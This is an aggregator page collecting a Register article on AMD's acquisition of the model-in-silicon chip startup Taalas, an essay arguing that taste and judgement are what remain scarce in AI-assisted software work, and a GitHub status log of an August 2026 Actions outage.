10 interesting stories served every morning and every evening.

AMD acquires AI chip startup Taalas to boost inference performance by etching models into silicon

www.theregister.com

In AMDs lat­est bid to up­set Nvidia’s dom­i­nance in AI hard­ware, the House of Zen has ac­quired AI chip com­pany Taalas, which bakes model weights di­rectly into sil­i­con in a process that promises to boost in­fer­ence per­for­mance by an or­der of mag­ni­tude or more.

The deal, an­nounced at mar­ket close on Thursday, ap­pears to be framed in much the same con­text as Nvidia’s $20 bil­lion li­cens­ing deal with Groq last December: make high-per­for­mance premium” in­fer­ence ser­vices prized for AI agents, like code as­sis­tants, faster and cheaper to run. AMD did­n’t dis­close the terms of the deal, but from what we un­der­stand, this is an ac­tual ac­qui­si­tion rather than an ac­qui­hire.

Founded in 2023 and based in Toronto, Taalas’ ap­proach to in­fer­ence is rad­i­cally dif­fer­ent from con­ven­tional GPUs or the dataflow ar­chi­tec­tures that un­der­pin Groq LPUs or Cerebras’ wafer­scale ac­cel­er­a­tors.

REG AD

A model-spe­cific in­te­grated cir­cuit

REG AD

The star­tup’s chips don’t rely on HBM to store the model weights but rather etch them di­rectly into the sil­i­con. In a sense, Taalas’ chips are re­ally model-spe­cific in­te­grated cir­cuits or MSICs.

Perhaps more im­por­tantly, Taalas’ tech is­n’t just con­cep­tual. In February, the startup re­vealed its first test chip fabbed on TSMCs 6nm process tech, which it called the HC1. Initial bench­marks saw the chip serve Meta’s Llama 3.1 8B at a blis­ter­ing 16,960 to­kens a sec­ond — when an­nounced last February, that was 48x faster than Nvidia’s GPUs and 8.5x faster than Cerebras’ ac­cel­er­a­tors.

While Llama 3.1 is an­cient by to­day’s stan­dards, hav­ing made its de­but all the way back in mid 2024, the ret­i­cle-sized chip was re­ally in­tended to prove the con­cept.

Taalas has been in­cred­i­bly se­cre­tive about how its chips ac­tu­ally work, but we know its proces­sors are com­prised of two main re­gions: the mask-ROM re­call fab­ric where model weights are etched, and the SRAM re­call fab­ric where KV caches and fine-tun­ing adapters are stored.

For its sec­ond-gen HC2 chip due out this sum­mer, Taalas aims to boost pa­ra­me­ter count to 20 bil­lion pa­ra­me­ters. That might not sound like much, but just like with GPUs for larger mod­els, weights are sim­ply dis­trib­uted across mul­ti­ple ac­cel­er­a­tors us­ing pipeline par­al­lelism.

At 20 bil­lion pa­ra­me­ters per chip, you’d need just 50 ac­cel­er­a­tors to sup­port a tril­lion-pa­ra­me­ter model, and AMD just so hap­pens to have a rack-scale com­pute plat­form and in-house sys­tem de­sign team that can com­fort­ably ac­com­mo­date that.

That’s quite a bit more space and power ef­fi­cient than Nvidia’s re­cently un­veiled LPX sys­tems, which would need a few dozen GPUs and at least 2,000 Groq LPUs to serve the same model.

From what we un­der­stand, AMD in­tends to pair its Instinct-based Helios racks with chips based on Taalas’ tech, which im­plies a dis­ag­gre­gated ar­chi­tec­ture where com­pute-heavy prompt pro­cess­ing is done on GPUs while to­ken gen­er­a­tion is of­floaded to Taalas-based ac­cel­er­a­tors.

REG AD

It’s also pos­si­ble that AMD could adopt a sort of tick-tock ca­dence in which cus­tomers ini­tially de­ploy and val­i­date mod­els on Instinct ac­cel­er­a­tors and, once they’re sat­is­fied with them, tran­si­tion to Taalas ac­cel­er­a­tors. We can only spec­u­late at this point, but here’s what AMDs SVP of AI, Vamsi Boppana, had to say about it in a canned state­ment:

AMD is build­ing a full-stack AI plat­form that gives cus­tomers the flex­i­bil­ity to de­ploy the right com­pute so­lu­tions for every AI work­load.”

You bet­ter re­ally love that model

While the tech is blaz­ing fast, if you had­n’t al­ready fig­ured it out, it comes with a pretty sub­stan­tial down­side. Once the chips are de­ployed you’re stuck with that model. Any change big­ger than some­thing like a LoRA adapter is go­ing to re­quire a re-spin of the chips, which is not only ex­pen­sive but time-con­sum­ing.

Nearly four years into the AI boom, new mod­els are rolling out on a nearly monthly ba­sis. In or­der to ben­e­fit from Taalas’ tech, AMDs cus­tomers are go­ing to have to be re­ally sure about their choice of mod­els, which will be eas­ier for some than oth­ers.

However, if the startup is to be be­lieved, the sit­u­a­tion is­n’t quite as bad as it sounds. While new mod­els will re­quire a re-spin, it does­n’t re­quire start­ing over from scratch. Instead, just two lay­ers of metal need to be changed, which is a lot cheaper and less time-con­sum­ing.

With that said, we strongly sus­pect this tech will largely be de­ployed by AI model devs, their in­fra­struc­ture providers, and a hand­ful of in­fer­ence providers. In an in­ter­view with our sib­ling site The Next Platform in February, the com­pany sug­gested that etch­ing a mod­el’s weights into sil­i­con is 100x less ex­pen­sive than train­ing a fron­tier model.

AMD is cer­tainly in a po­si­tion to ne­go­ti­ate those deals. OpenAI, Anthropic, and Meta are all ma­jor Instinct cus­tomers. Given the close work­ing re­la­tion­ship be­tween the model houses and the chip de­signer, it would­n’t be sur­pris­ing to see a GPT or Claude de­ployed on a com­bi­na­tion of Taalas and in­stinct ac­cel­er­a­tors.

REG AD

The tech also has im­pli­ca­tions for model de­vel­op­ment. One of the ways de­vel­op­ers have cut down on hal­lu­ci­na­tions is by trad­ing time for ac­cu­racy. The tech­nique, called test-time scal­ing, is quite sim­ple in prac­tice, and in­volves al­low­ing a model to think” for longer be­fore re­spond­ing.

One draw­back of test-time scal­ing is that it con­sumes sub­stan­tially more to­kens, which makes it ex­pen­sive, and means users have to wait longer for the chat­bot, code as­sis­tant, or agent to re­spond. If AMDs Taalas buy can drive down the cost per to­ken and boost out­put speeds by 10x or 20x, model devs may opt to ex­tend the rea­son­ing time even fur­ther.

In any case, we may not have to wait long to see just how Taalas fits into AMDs broader vi­sion. Subject to reg­u­la­tory ap­proval, the deal is ex­pected to close in the fourth quar­ter. ®

AI Model & API Providers Analysis | Artificial Analysis

artificialanalysis.ai

Intelligence

Intelligence of lead­ing AI mod­els based on our in­de­pen­dent eval­u­a­tions

Coding Agent Index

Performance, cost, and ex­e­cu­tion time for lead­ing cod­ing agents on end-to-end soft­ware en­gi­neer­ing tasks

Image & Video

Top mod­els from our Image Arena and Video Arena leader­boards, with 95% con­fi­dence in­ter­vals

Speech

Top mod­els from our Text to Speech Arena, Speech to Text and Speech to Speech eval­u­a­tions

Measures the per­for­mance of mod­els on spe­cific ca­pa­bil­i­ties and in­dus­tries

Openness Index

Artificial Analysis Openness Index as­sesses how open’ mod­els are on the ba­sis of their avail­abil­ity and trans­parency across dif­fer­ent com­po­nents.

Output Tokens

Output to­kens of lead­ing AI mod­els based on our in­de­pen­dent eval­u­a­tions

Cost

Price and real-world costs of lead­ing AI mod­els based on our in­de­pen­dent eval­u­a­tions

Speed & Latency

Comparison of first-party API per­for­mance

Taste Is All That's Left

notashelf.dev

For most of the time I have been writ­ing soft­ware—which, com­pared to some of my read­ers, is not that long—I have come to be­lieve that the hard thing was mak­ing the thing ex­ist at all. This is not nec­es­sar­ily a new be­lief of mine. I started through the dif­fi­cult and te­dious ex­pe­ri­ence of build­ing web ap­pli­ca­tions and watch­ing them crash and burn.

You had an idea, and be­tween the idea and the work­ing pro­gram stood hours— some­times weeks—of typ­ing, of read­ing man­u­als, of mis­un­der­stand­ing an API and slowly grind­ing the wrong ver­sion into a slightly less wrong one. Production was the wall. Everyone hit it. It was the thing that sep­a­rated the peo­ple who could from the peo­ple who could only talk about it.

That wall is gone. Or rather, it has been rented out. 1 You can de­scribe a thing now and re­ceive a plau­si­ble ver­sion of it much faster than you could have typed the first func­tion by hand. The idea-to-ar­ti­fact dis­tance, the one that de­fined the en­tire craft, has col­lapsed to al­most noth­ing.

Though, you have not been warned about one lit­tle thing: the value you built by learn­ing to climb that wall does not dis­ap­pear. It sim­ply… moves.

The Bar Went Somewhere

We keep ask­ing whether the ma­chines are any good. Even yes­ter­day I had a rather short dis­cus­sion on whether they are re­li­able. While we have con­cluded that they are reliably un­re­li­able,” I think it is the wrong ques­tion. The out­put is good enough, gen­er­ally any­way, and that is the prob­lem—most of it, at least. Good enough is a sol­vent. It dis­solves the rea­son to do bet­ter. For as long as mak­ing things was ex­pen­sive, the ex­pense did quiet work on our be­half. It ra­tioned out­put. It meant that any­thing which ex­isted had, at min­i­mum, sur­vived the cost of be­ing made. You know what I mean? Effort was a fil­ter, and like all fil­ters it was in­vis­i­ble un­til it was re­moved. Nobody shipped a thou­sand mediocre vari­a­tions of a fea­ture, be­cause a thou­sand mediocre vari­a­tions cost a thou­sand times as much as one. The eco­nom­ics en­forced a floor.

That floor is now gone. And when the floor goes, the thing that de­cides what is worth keep­ing is no longer the cost of mak­ing it. It is you. Your judge­ment. The ver­dict you reach when you look at three plau­si­ble ver­sions of the same func­tion and know, some­how, that two of them are wrong. That ver­dict has a name we are slightly em­bar­rassed to use in en­gi­neer­ing cir­cles, be­cause it sounds soft and un­fal­si­fi­able and vaguely aris­to­cratic.

Taste.

What Taste Actually Is

I want to be care­ful here, be­cause taste” is do­ing a lot of work and it is easy to hear it as dec­o­ra­tion. A mat­ter of pref­er­ences. Whether you like your braces on the same line.

That is not what I mean.

Robert Pirsig spent an en­tire book cir­cling a word he re­fused to de­fine, be­cause he had con­vinced him­self that defin­ing it would kill it. He called it Quality. His ar­gu­ment, roughly, was that you recog­nise Quality be­fore you can ex­plain it— that the recog­ni­tion comes first and the rea­sons ar­rive later, if they ar­rive at all. A good me­chanic knows the en­gine is wrong be­fore he knows why. A good ed­i­tor feels the sen­tence sag be­fore she can name the clause that failed. 2

Taste is that. It is the com­pressed, word­less ver­dict you reach faster than you can jus­tify. It is par­tially 3 the no, again” you say to your­self with to­tal con­vic­tion and no avail­able ar­gu­ment. And it is not soft at all. It is the hard­est thing in the work, be­cause it is the only part that was never me­chan­i­cal to be­gin with.

Everything down­stream of the ver­dict—the typ­ing, the syn­tax, the wiring of one li­brary to an­other—was al­ways, in prin­ci­ple, au­tomat­able. We just had not got­ten around to it. The ver­dict was the thing the ma­chine could not do for you.

It still can­not. It can only make the ab­sence of it cheaper to ig­nore.

Taste Is Downstream of Friction

Here is the un­com­fort­able mech­a­nism, the part I would rather not think about.

Where did your taste come from?

No re­ally. Where did it come from, was it ge­netic? Were you ab­ducted by aliens one day that force­fully in­jected your sense of taste into your mind and wiped your mem­ory?

I’ll tell you this much: it’s not from con­sum­ing good work. You can­not read a hun­dred ex­cel­lent pro­grams and ab­sorb the judge­ment by os­mo­sis, any more than you can be­come a chef by eat­ing in good restau­rants. Taste is built the slow, stu­pid, hu­mil­i­at­ing way: you make some­thing bad, you are forced to live with it, it fails in front of you, and some part of you files the fail­ure away. Then you do it again. The palate is an ac­cre­tion of your own mis­takes, sat with long enough to sting.

The fric­tion was not an ob­sta­cle to de­vel­op­ing taste. The fric­tion was the cur­ricu­lum. Every wall I cursed while climb­ing it was, with­out my notic­ing, teach­ing me which walls were worth climb­ing. The cost that ra­tioned my out­put also ed­u­cated my judge­ment, be­cause pay­ing the cost over and over is how you learn what is worth pay­ing for.

So watch what hap­pens when you re­move the fric­tion for the next per­son.

They can gen­er­ate flu­ently from the first day. They will never ship the bad ver­sion and be forced to sit in it, be­cause the tool of­fers them a com­pe­tent ver­sion for free. They will climb no wall, and so they will learn noth­ing from the climb. They will ar­rive at flu­ency hav­ing skipped the en­tire ap­pren­tice­ship that flu­ency used to re­quire—and they will be more pro­duc­tive than I was at their stage, by every met­ric any­one both­ers to mea­sure.

They will be able to make any­thing, and un­able to tell (or stop to think) whether they should. Not nec­es­sar­ily through any fault of their own. We re­moved the part of the process that would have taught them, and we called it progress, and by most de­f­i­n­i­tions it was.

The Economics Are Against You

Suppose you have taste. Suppose you paid the full price and you can feel the sag in the sen­tence and the wrong­ness in the func­tion.

Congratulations! You now ship at ex­actly the same speed as the per­son who can­not.

This is the quiet cru­elty of the sit­u­a­tion and I do not have a com­fort­ing way to phrase it. Taste is slow. It says no, again.” It sends the plau­si­ble thing back be­cause plau­si­ble is not the same as right, and while it is do­ing that, the per­son with­out it has al­ready shipped, closed the ticket, and moved on. The mar­ket timed you both with the same stop­watch and it did not see the dif­fer­ence. It can­not see the dif­fer­ence. Taste does not show up in the diff.

It is un­mea­sur­able, un­cred­itable, and in­vis­i­ble on a dash­board. You can­not point to the dis­as­ters it pre­vented, be­cause pre­vented dis­as­ters leave no trace. You carry a cost—the ex­tra hours, the re­turned work, the re­fusal to ship the fine thing when the right thing is still reach­able—and you carry it alone, against an in­cen­tive gra­di­ent that runs the other way.

Harry Frankfurt once drew a care­ful line be­tween the liar and the bull­shit­ter. The liar at least re­spects the truth enough to work against it. The bull­shit­ter does not care about the truth in ei­ther di­rec­tion; he is sim­ply in­dif­fer­ent to it. 4 Slop is the bull­shit of en­gi­neer­ing. It is not wrong, ex­actly. It is in­dif­fer­ent. It works, it passes, it is fine. And fine, pro­duced with­out fric­tion and shipped with­out judge­ment, is now the most abun­dant sub­stance in the field.

The Flood

Sturgeon said it decades ago, de­fend­ing sci­ence fic­tion from a critic: ninety per­cent of every­thing is crap. 5 He meant it as con­so­la­tion. Ninety per­cent of every field is bad, so do not judge the field by its bulk. But the ra­tio was never the dan­ger. It held steady for cen­turies. What held the flood back was that pro­duc­ing the crap cost some­thing. Bad nov­els still took a year to write. Bad soft­ware still took a month to build. The ninety per­cent was throt­tled at the source by the sheer in­con­ve­nience of mak­ing it.

We have now re­moved the throt­tle and left the ra­tio in­tact. Ninety per­cent of an in­fi­nite out­put is still in­fi­nite. The sig­nal did not get worse. The noise be­came free, and free noise rises with­out limit, and every real thing you make now ar­rives into a sea of plau­si­ble noth­ing that looks, at a glance, ex­actly like it.

Which means the scarce act is no longer mak­ing. It is choos­ing. Deciding what, out of the end­less gen­er­ated plau­si­ble, de­serves to ex­ist and be kept. Curation was a mi­nor virtue when things were ex­pen­sive to make. It is the whole game when they are free.

What Deserves to Exist

There is a rhyme here, if you go back far enough.

When the fac­to­ries came, they could sud­denly make every­thing—cheaply, uni­formly, by the thou­sand. 6 And a hand­ful of peo­ple, Morris and Ruskin among them, looked at the flood of cheap iden­ti­cal goods and asked a ques­tion that sounded, at the time, sen­ti­men­tal and doomed: not can we make this, but should this be made, and made this way, by no one, for no rea­son but that the ma­chine could.

They lost the eco­nomic ar­gu­ment. They were al­ways go­ing to. But they were right about the thing that mat­tered, which is that when the mak­ing be­comes free, the choos­ing be­comes the craft. The hu­man ques­tion stops be­ing can I build it” and be­comes does this de­serve to ex­ist”—and that ques­tion was al­ways the more se­ri­ous one. We just could not af­ford to ask it while we were busy climb­ing walls.

I keep com­ing back to this turn. It is not con­so­la­tion but a cor­rec­tion.

The tools did not de­value the skill. They stripped away every­thing that was not the skill. All those years I thought the work was the pro­duc­tion—the typ­ing, the wiring, the wall—and pro­duc­tion turns out to have been the toll. The tax you paid for the priv­i­lege of ex­er­cis­ing judge­ment. Now the tax is close to zero, and what is left stand­ing, ex­posed, with nowhere to hide, is the judge­ment it­self. The part that was al­ways the point.

Taste did not be­come less valu­able. It be­came the only thing that was ever scarce. We just could not see it, be­cause it was buried un­der all the labour it used to take to get to it.

A Defense, Then

So here is the de­fense, such as it is.

Anyone can gen­er­ate now. That race is over and it was never worth win­ning. The dis­ci­pline that re­mains—the one the ma­chine can­not rent you and the dash­board can­not see—is in the dele­tion. In the no, again.” In car­ing about the dif­fer­ence be­tween fine and right when noth­ing ex­ter­nal will ever re­ward you for car­ing, when the mar­ket has timed you and shrugged, when the plau­si­ble ver­sion sits there work­ing and pass­ing and ask­ing only to be let through.

Refuse it any­way. Not out of nos­tal­gia for the fric­tion—I do not miss the wall, and I will not pre­tend to. Refuse it be­cause the ver­dict is the last part of this that is ac­tu­ally yours. It is un­mea­sur­able, which means no one can take it from you by mea­sur­ing it. It is unau­tomat­able, which means no one can sell it back to you. It is slow, which in a field op­ti­mis­ing for in­fi­nite speed is start­ing to look less like a hand­i­cap and more like the only re­main­ing ev­i­dence that a hu­man was here and gave a damn.

Everyone can make any­thing. Almost no one can tell you what is worth mak­ing.

That was al­ways the harder skill. It is now the only one left.

Post-Mortem

On Language

This post reads off as AI slop. You said it, I see it. I’m sin­cerely sorry for pub­lish­ing some­thing that has al­lowed you to feel this way. If my word means any­thing to you, I would like to as­sure you that this post was not au­thored by a LLM. Nor was it sto­ry­boarded, re­viewed, checked, etc. by a LLM. Some read­ers have pointed out that peo­ple do not speak this way. That is cor­rect. I do not speak, nor usu­ally write, like this and this post will go down as my not-the-proud­est, how­ever, I take your crit­i­cism to heart—al­though not per­son­ally—and strive to im­prove.

I do write like this some­times. The short sen­tences, the re­ver­sals, the one-word lines—all of it. It’s just the way it is. A LLM writes that way too, be­cause it was trained on the same es­says I grew up read­ing, so me do­ing it badly and a ma­chine do­ing it look about the same to you on the page. That says some­thing about my writ­ing. It says noth­ing about who wrote it.

So let me be plain about it: Claude was not here. No LLM wrote this—not a sen­tence of it, nor was it out­lined, drafted, re­viewed, checked, etc. by one, and there is no prompt be­hind it ei­ther. It is just me, writ­ing worse than usual. I will write the next one plainer. Next time, write to me. I too am a per­son be­hind this screen.

In Appreciation

Be as­sured that I have read all of your com­ments—the good and the bad. As with my pre­vi­ous post that reached Hacker News, I’ve re­ceived many in­sight­ful ones. Whether it was peo­ple shar­ing their ex­pe­ri­ence, or neg­a­tive com­ments with the de­cency to crit­i­cize with sub­stance, I have learned some­thing new to­day—for which I am thank­ful.

On Taste

I do not care about your taste. If this posts has of­fended you, then it tells more about you than it does about me. As they say, throw an in­sult on the ground, its owner will pick it up”—this one I am not sorry about.

Footnotes

There is an older word for this arrange­ment. You no longer own the means of pro­duc­tion; you rent them, by the to­ken, from who­ever trained the model. An English teacher of mine—a com­mit­ted so­cial­ist—would have had the whole thing di­a­grammed on the board be­fore I fin­ished the sen­tence: the worker sep­a­rated first from his tools, then from the labour it­self, then sold a fric­tion­less sub­sti­tute for the labour and told this was lib­er­a­tion. He would also, I sus­pect, have been the first to note the one part of the process that can­not be rented back to you, be­cause it never left your head. Draw your own con­clu­sions about which part that is. ↩

There is an older word for this arrange­ment. You no longer own the means of pro­duc­tion; you rent them, by the to­ken, from who­ever trained the model. An English teacher of mine—a com­mit­ted so­cial­ist—would have had the whole thing di­a­grammed on the board be­fore I fin­ished the sen­tence: the worker sep­a­rated first from his tools, then from the labour it­self, then sold a fric­tion­less sub­sti­tute for the labour and told this was lib­er­a­tion. He would also, I sus­pect, have been the first to note the one part of the process that can­not be rented back to you, be­cause it never left your head. Draw your own con­clu­sions about which part that is. ↩

Zen and the Art of Motorcycle Maintenance, if you have not read it. It is about a great deal more than mo­tor­cy­cles, and al­most noth­ing about Zen. ↩

Zen and the Art of Motorcycle Maintenance, if you have not read it. It is about a great deal more than mo­tor­cy­cles, and al­most noth­ing about Zen. ↩

Someone will (and has!) ob­ject that taste is not only the no, again”—that com­press­ing it to a ver­dict makes the work sound like lean­ing back in a chair and re­ject­ing things while the ma­chine does the labour. The ob­jec­tion is fair, which is why the sen­tence above says par­tially. The no, again” is the short­hand, not the whole of it. The ver­dict lives in­side the work—in the data struc­tures that have to ac­tu­ally scale, in the pri­vacy you have to ac­tu­ally mean, in the func­tion you rewrite a fourth time be­cause the third was merely fine. Taste is not the chair you lean back in. It is the rea­son you lean for­ward into all the rest of it. ↩

Someone will (and has!) ob­ject that taste is not only the no, again”—that com­press­ing it to a ver­dict makes the work sound like lean­ing back in a chair and re­ject­ing things while the ma­chine does the labour. The ob­jec­tion is fair, which is why the sen­tence above says par­tially. The no, again” is the short­hand, not the whole of it. The ver­dict lives in­side the work—in the data struc­tures that have to ac­tu­ally scale, in the pri­vacy you have to ac­tu­ally mean, in the func­tion you rewrite a fourth time be­cause the third was merely fine. Taste is not the chair you lean back in. It is the rea­son you lean for­ward into all the rest of it. ↩

On Bullshit. Frankfurt, 2005, though the es­say is older. Yes, that is the real ti­tle. ↩

On Bullshit. Frankfurt, 2005, though the es­say is older. Yes, that is the real ti­tle. ↩

Now called Sturgeon’s Law, or Sturgeon’s Revelation. He put it in print in his book-re­view col­umn in Venture Science Fiction, March 1958, af­ter years of us­ing it to re­but crit­ics who judged the whole genre by its worst ex­am­ples. ↩

Now called Sturgeon’s Law, or Sturgeon’s Revelation. He put it in print in his book-re­view col­umn in Venture Science Fiction, March 1958, af­ter years of us­ing it to re­but crit­ics who judged the whole genre by its worst ex­am­ples. ↩

A fair push­back I got: this makes the fac­tory sound like it fell out of the sky, some mag­i­cal good enough” that ar­rived one day fully formed. It did not. The fac­tory is it­self a mon­u­ment of taste and labour—some­one tuned every tol­er­ance and is still in there tun­ing them, and the same is true of the model you are rent­ing by the to­ken. So I am not say­ing the box is magic. I am say­ing the box moved the taste up a level: out of the mak­ing, and into the de­cid­ing of what is worth mak­ing at all. Which is the whole ar­gu­ment. ↩

A fair push­back I got: this makes the fac­tory sound like it fell out of the sky, some mag­i­cal good enough” that ar­rived one day fully formed. It did not. The fac­tory is it­self a mon­u­ment of taste and labour—some­one tuned every tol­er­ance and is still in there tun­ing them, and the same is true of the model you are rent­ing by the to­ken. So I am not say­ing the box is magic. I am say­ing the box moved the taste up a level: out of the mak­ing, and into the de­cid­ing of what is worth mak­ing at all. Which is the whole ar­gu­ment. ↩

Incident with Actions

www.githubstatus.com

Resolved

This in­ci­dent has been re­solved. Thank you for your pa­tience and un­der­stand­ing as we ad­dressed this is­sue. A de­tailed root cause analy­sis will be shared as soon as it is avail­able.

Posted Aug 07, 2026 – 02:04 UTC

Update

During the in­ci­dent, some Actions Runner Controller (ARC) run­ner pods be­came stuck in an idle state. Affected users can delete those pods us­ing kubectl or re­de­ploy their Actions Runner Controller ap­pli­ca­tion. ARC will au­to­mat­i­cally cre­ate re­place­ment run­ners.

The next re­leases of Actions Runner and Actions Runner Controller will in­clude an au­to­matic re­cov­ery mech­a­nism, pre­vent­ing the need for these man­ual steps in the fu­ture.

Some work­flow-trig­ger­ing events, in­clud­ing push and pull re­quest events, were not processed dur­ing the in­ci­dent and can­not be re­played au­to­mat­i­cally. Customers may need to re­peat the trig­ger­ing ac­tion by push­ing a new com­mit, up­dat­ing the pull re­quest, or man­u­ally re-run­ning the work­flow where ap­plic­a­ble.

Posted Aug 07, 2026 – 02:03 UTC

Update

We’re in­ves­ti­gat­ing re­ports that some Actions Runner Controller run­ners are tak­ing longer than ex­pected to re­cover. We’ll pro­vide an up­date as our in­ves­ti­ga­tion pro­gresses.

Posted Aug 07, 2026 – 00:59 UTC

Monitoring

The degra­da­tion has been mit­i­gated. We are mon­i­tor­ing to en­sure sta­bil­ity.

Posted Aug 07, 2026 – 00:06 UTC

Update

The degra­da­tion af­fect­ing Actions and Pages has been mit­i­gated. We are mon­i­tor­ing to en­sure sta­bil­ity.

Posted Aug 07, 2026 – 00:05 UTC

Update

System-wide queues have been drained, and new jobs are be­ing processed as ex­pected. The fix for self-hosted run­ners not pick­ing up jobs has been fully rolled out.

Webhook-triggered Actions work­flows have been re­stored to full through­put. GitHub Pages, Copilot code re­view, and Copilot cod­ing agent are show­ing re­cov­ery. Migrations us­ing GitHub Enterprise Importer re­main paused as a pre­cau­tion.

We are mon­i­tor­ing all af­fected ser­vices for sus­tained re­cov­ery and will pro­vide an­other up­date shortly.

Posted Aug 07, 2026 – 00:01 UTC

Update

System-wide queues have been drained, and new jobs are be­ing processed as ex­pected. The fix for self-hosted run­ners not pick­ing up jobs has been fully rolled out.

Webhook-triggered Actions work­flows have been re­stored to full through­put. GitHub Pages, Copilot code re­view, and Copilot cod­ing agent are show­ing re­cov­ery. Migrations us­ing GitHub Enterprise Importer re­main paused as a pre­cau­tion.

We are mon­i­tor­ing all af­fected ser­vices for sus­tained re­cov­ery and will pro­vide an­other up­date shortly.

Posted Aug 07, 2026 – 00:01 UTC

Update

We have de­ployed fixes that ad­dress run­ners be­ing as­signed in­valid jobs and are tak­ing ad­di­tional steps to clear the back­log of af­fected jobs. Job com­ple­tion rates for run­ning work­flows have im­proved sig­nif­i­cantly, with suc­cess rates now at 99%. Global queues for hosted run­ner as­sign­ment are nearly burned down and con­cur­rency queues for cus­tomers are be­ing processed. Another change was de­ployed to ac­cel­er­ate pro­cess­ing the back­log of job re­quests.

We are grad­u­ally restor­ing through­put for web­hook-trig­gered Actions work­flows and mon­i­tor­ing sys­tem sta­bil­ity. We have de­ployed a fix for self-hosted run­ners that were not pick­ing up jobs and are en­abling it in­cre­men­tally.

GitHub Pages, Copilot code re­view, and Copilot cod­ing agent may still ex­pe­ri­ence in­ter­mit­tent fail­ures or de­lays. Migrations us­ing GitHub Enterprise Importer re­main paused.

We con­tinue to mon­i­tor re­cov­ery across all af­fected ser­vices and will pro­vide an­other up­date as con­di­tions im­prove.

Posted Aug 06, 2026 – 23:13 UTC

Update

We con­tinue to make progress on the is­sue af­fect­ing GitHub Actions. We have de­ployed a fix that ad­dresses run­ners be­ing as­signed jobs that are no longer valid, and are see­ing im­prove­ment in job com­ple­tion rates. For work­flow runs that are start­ing, suc­cess rates have in­creased sig­nif­i­cantly and are now at 97%. Standard and larger run­ners are now drain­ing queued work. A change is also in progress to mit­i­gate is­sues with ex­ist­ing self-hosted run­ners that are not pick­ing up jobs.

Webhook trig­gers re­main throt­tled to sup­port re­cov­ery. Many push and pull re­quest events are not yet trig­ger­ing new work­flow runs, and we are work­ing to safely re­store full through­put.

GitHub Pages, Copilot code re­view, and Copilot cod­ing agent may still ex­pe­ri­ence fail­ures or de­lays. Migrations us­ing GitHub Enterprise Importer re­main paused.

We are con­tin­u­ing to mon­i­tor re­cov­ery and will pro­vide an­other up­date as con­di­tions im­prove.

Posted Aug 06, 2026 – 22:18 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing GitHub Actions. Webhook trig­gers re­main throt­tled to aid re­cov­ery, so many push and pull re­quest events are not trig­ger­ing new work­flow runs.

We iden­ti­fied run­ners be­ing as­signed jobs that are no longer valid and are de­ploy­ing a change to ad­dress this is­sue. Both GitHub-hosted and self-hosted run­ners are af­fected.

Copilot code re­view, Copilot cod­ing agent, and GitHub Pages may ex­pe­ri­ence fail­ures or de­lays. Migrations us­ing GitHub Enterprise Importer have been paused to sup­port mit­i­ga­tion ef­forts.

Posted Aug 06, 2026 – 21:30 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing GitHub Actions. Webhook trig­gers are cur­rently throt­tled to help with re­cov­ery and and we are pro­cess­ing ap­prox­i­mately 15% of web­hooks, so many events such as pushes and pull re­quests are not trig­ger­ing work­flow runs. Of jobs queued, ap­prox­i­mately 65% are suc­ceed­ing, im­proved from a low of 30 to 40% ear­lier in this in­ci­dent.

We have nar­rowed the re­main­ing im­pact to run­ners that are stuck retry­ing jobs that are no longer avail­able. Both GitHub-hosted and self-hosted run­ners are af­fected, and we are work­ing to re­cover them.

Copilot code re­view, Copilot cod­ing agent, and mi­gra­tions us­ing GitHub Enterprise Importer may also be af­fected.

Posted Aug 06, 2026 – 20:34 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing GitHub Actions.

Capacity re­mains con­strained and jobs may still be de­layed or fail while it re­cov­ers grad­u­ally. Customers us­ing self-hosted run­ners may see er­rors or rate lim­it­ing when run­ners reg­is­ter.

Copilot code re­view, Copilot cod­ing agent, and mi­gra­tions us­ing GitHub Enterprise Importer may also be af­fected. Webhook de­liv­er­ies may be de­layed.

Our en­gi­neers re­main ac­tively en­gaged.

Posted Aug 06, 2026 – 19:43 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing mul­ti­ple GitHub ser­vices.

Workflow runs are still fail­ing, and jobs may re­main queued for an ex­tended pe­riod be­fore start­ing or may time out. Jobs us­ing GitHub-hosted run­ners are par­tic­u­larly af­fected while ca­pac­ity is con­strained.

Customers us­ing self-hosted run­ners may see er­rors or rate lim­it­ing when run­ners reg­is­ter.

Copilot code re­view, Copilot cod­ing agent, and mi­gra­tions us­ing GitHub Enterprise Importer may also be af­fected. Webhook de­liv­er­ies may be de­layed.

Recovery is tak­ing longer than we ex­pected, and en­gi­neers re­main ac­tively en­gaged.

Posted Aug 06, 2026 – 18:46 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing mul­ti­ple GitHub ser­vices.

Workflow runs are still fail­ing or de­layed in start­ing, and some queued jobs may time out.

Customers us­ing self-hosted run­ners may see er­rors or rate lim­it­ing when run­ners reg­is­ter.

Copilot code re­view, Copilot cod­ing agent, hosted run­ners, and mi­gra­tions us­ing GitHub Enterprise Importer may also be af­fected.

Webhook de­liv­er­ies may be de­layed.

Engineers have ap­plied fur­ther mit­i­ga­tions and are con­tin­u­ing to work to­wards full re­cov­ery.

Posted Aug 06, 2026 – 18:11 UTC

Update

We are con­tin­u­ing to work on an is­sue af­fect­ing mul­ti­ple GitHub ser­vices.

Workflow runs are fail­ing or de­layed in start­ing, and some queued jobs may time out.

Copilot code re­view, Copilot cod­ing agent, hosted run­ners, and mi­gra­tions us­ing GitHub Enterprise Importer might also af­fected.

Webhook de­liv­er­ies may be de­layed.

Engineers have ap­plied a num­ber of mit­i­ga­tions and are rolling out a fur­ther fix across all af­fected sys­tems now.

Posted Aug 06, 2026 – 17:40 UTC

Update

We are con­tin­u­ing to work on the is­sue af­fect­ing GitHub Actions.

Workflow runs are still fail­ing or de­layed in start­ing, and some queued jobs may time out.

Some re­quests to the Actions API are re­turn­ing er­rors. Customers run­ning mi­gra­tions with GitHub Enterprise Importer may see fail­ures.

Our en­gi­neers have ap­plied sev­eral mit­i­ga­tions and are rolling out a fur­ther fix now.

Posted Aug 06, 2026 – 17:02 UTC

Update

Actions and Pages are ex­pe­ri­enc­ing de­graded avail­abil­ity. We are con­tin­u­ing to in­ves­ti­gate.

Posted Aug 06, 2026 – 16:33 UTC

Update

We are con­tin­u­ing to work on the is­sue af­fect­ing GitHub Actions.

Some work­flow runs are still de­layed or fail­ing to com­plete, and some re­quests to the Actions API are re­turn­ing er­rors.

Customers run­ning mi­gra­tions with GitHub Enterprise Importer may also see fail­ures.

